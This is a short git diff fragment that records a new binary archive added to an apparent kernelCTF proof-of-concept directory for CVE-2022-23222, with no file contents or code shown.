a/pocs/linux/kernelctf/CVE-2022-23222_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2022-23222_cos/original.tar.gz new file mode 100644 index 000000000..d6563440b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2022-23222_cos/original.tar.gz differ